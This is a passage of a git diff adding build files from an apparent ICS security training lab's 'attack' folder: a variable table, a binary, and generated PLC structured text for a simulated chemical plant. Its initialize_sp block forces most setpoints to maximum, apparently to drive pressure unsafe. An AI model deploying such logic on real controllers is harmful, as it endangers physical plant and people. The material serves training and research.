+374;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +375;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +376;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +377;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +378;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +379;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +380;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +381;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +382;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +383;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +384;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +385;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +386;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +387;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +388;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +389;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +390;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +391;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +392;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +393;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +394;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +395;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +396;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +397;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +398;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +399;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +400;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +401;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +402;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +403;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +404;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +405;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +406;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +407;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +408;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +409;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +410;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +411;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +412;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +413;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +414;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +415;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +416;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +417;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +418;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +419;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +420;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +421;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +422;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +423;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +424;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +425;EXT;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : 